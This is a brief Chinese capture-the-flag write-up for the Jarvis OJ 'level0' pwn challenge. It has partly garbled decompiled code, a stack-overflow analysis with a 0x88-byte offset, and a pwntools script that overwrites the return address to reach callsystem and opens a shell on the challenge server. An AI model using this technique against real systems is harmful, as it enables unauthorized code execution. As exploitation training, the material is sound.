level0
题目:
main函数:1
2
3
4
5 int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function();
}
vulnerable_function()函数
1 | ssize_t vulnerable_function() |
read函数1
2
3
4ssize_t read(int fd, void *buf, size_t nbytes)
{
return read(fd, buf, nbytes);
}
这里 最关键的就是这个read函数了
明显可以发现,利用read函数进行操作。利用的是栈溢出(只有NX)保护
可以利用的system
只要用read函数,栈溢出,将IP地址覆盖为callsysetem的地址就行了
寻找这个callsysetem函数的地址
探索栈溢出的长度(rbp-0x80)
所以要覆盖的长度就是0x80+8 (rbp:64位下为8)
exp1
2
3
4
5
6
7
8#-*- coding:utf-8 -*-
from pwn import *
# p = process('./level0')
p = remote("pwn2.jarvisoj.com","9881")
callsystem = 0x400596
payload = 0x80*"A" + p64(0) + p64(callsystem)
p.sendline(payload)
p.interactive()
参考
https://blog.csdn.net/qq_42956710/article/details/81706009
https://blog.csdn.net/github_36788573/article/details/79980492